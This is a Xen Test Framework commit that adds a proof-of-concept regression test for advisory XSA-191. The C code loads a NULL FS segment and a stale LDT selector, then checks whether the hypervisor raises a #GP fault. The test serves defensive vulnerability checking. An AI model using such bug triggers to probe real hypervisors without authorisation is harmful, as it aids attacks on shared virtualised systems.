]> xenbits.xensource.com Git - xtf.git/commitdiff
XSA-191 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 3 Nov 2016 11:27:15 +0000 (11:27 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 30 Nov 2016 19:18:01 +0000 (19:18 +0000)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-191/Makefile [new file with mode: 0644]
tests/xsa-191/main.c [new file with mode: 0644]

index 0740254d6d672bfb08b03f41e65079ca80576fcb..9fb1bea815a3f5f2f585e7357f2e3a67b94806e1 100644 (file)
@@ -64,6 +64,8 @@ during emulation.
 
 XSA-190 - See @ref test-fpu-exception-emulation.
 
+@subpage test-xsa-191 - x86: Null segments not always treated as unusable.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-191/Makefile b/tests/xsa-191/Makefile
new file mode 100644 (file)
index 0000000..8c9c80b
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-191
+CATEGORY  := xsa
+TEST-ENVS := hvm32
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-191/main.c b/tests/xsa-191/main.c
new file mode 100644 (file)
index 0000000..12f30e0
--- /dev/null
@@ -0,0 +1,121 @@
+/**
+ * @file tests/xsa-191/main.c
+ * @ref test-xsa-191
+ *
+ * @page test-xsa-191 XSA-191
+ *
+ * Advisory: [XSA-191](http://xenbits.xen.org/xsa/advisory-xsa-191.html)
+ *
+ * Before XSA-191, Xen had several bugs with its handling of segments which
+ * shouldn't be eligible for use.  Memory accesses through user segments and
+ * loads from the LDT both assumed that the segment was valid for use.
+ *
+ * The behaviour of loading NULL segments (to invalidate a segment selector)
+ * is undocumented, and different across vendors.  Experimentally,
+ *
+ * - On AMD, the base and limit fields are left stale, and the attributes are
+ *   zeroed.
+ *
+ * - On Intel, the base is zeroed, the limit is set to maximum, and the
+ *   attributes are set to a constant value.
+ *
+ * This test sets up two scenarios which should fail with a @#GP fault, and
+ * checks whether a fault is observed.
+ *
+ * @see tests/xsa-191/main.c
+ */
+#include <xtf.h>
+
+#include <arch/x86/decode.h>
+#include <arch/x86/desc.h>
+#include <arch/x86/exinfo.h>
+#include <arch/x86/symbolic-const.h>
+
+const char test_title[] = "XSA-191 PoC";
+
+bool test_needs_fep = true;
+
+void test_main(void)
+{
+    unsigned long tmp;
+    exinfo_t fault;
+
+    printk("Testing read through NULL segment:\n");
+    write_fs(0);
+    asm volatile (_ASM_XEN_FEP
+                  "1: mov %%fs:0, %[dst]; 2:"
+                  _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_edi)
+                  : "=D" (fault),
+                    [dst] "=r" (tmp)
+                  : "D" (0));
+
+    switch ( fault )
+    {
+    case 0:
+        xtf_failure("  Fail: Access via NULL segment didn't fault\n");
+        break;
+
+    case EXINFO_SYM(GP, 0):
+        printk("  Success: Got #GP fault\n");
+        break;
+
+    default:
+    {
+        char str[20];
+
+        x86_decode_exinfo(str, ARRAY_SIZE(str), fault);
+        xtf_error("  Error: Unexpected fault %#x (%s)\n", fault, str);
+        break;
+    }
+    }
+
+    printk("Testing stale LDT:\n");
+
+    user_desc ldt[1] = { gdt[__KERN_DS >> 3] };
+
+    gdt[GDTE_AVAIL0] =
+        (typeof(*gdt))INIT_GDTE((unsigned long)ldt, sizeof(ldt) - 1, 0x82);
+    barrier();
+
+    lldt(GDTE_AVAIL0 << 3);
+    lldt(0);
+
+    asm volatile (_ASM_XEN_FEP
+                  "1: mov %[sel], %%fs; 2:"
+                  _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_eax)
+                  : "=a" (fault)
+                  : "a" (0),
+                    [sel] "r" (4));
+
+    switch ( fault )
+    {
+    case 0:
+        xtf_failure("  Fail: Loaded selector from stale LDT\n");
+        break;
+
+    case EXINFO_SYM(GP, SEL_EC_SYM(0, LDT)):
+        printk("  Success: Got #GP fault\n");
+        break;
+
+    default:
+    {
+        char str[20];
+
+        x86_decode_exinfo(str, ARRAY_SIZE(str), fault);
+        xtf_error("  Error: Unexpected fault %#x (%s)\n", fault, str);
+        break;
+    }
+    }
+
+    xtf_success(NULL);
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */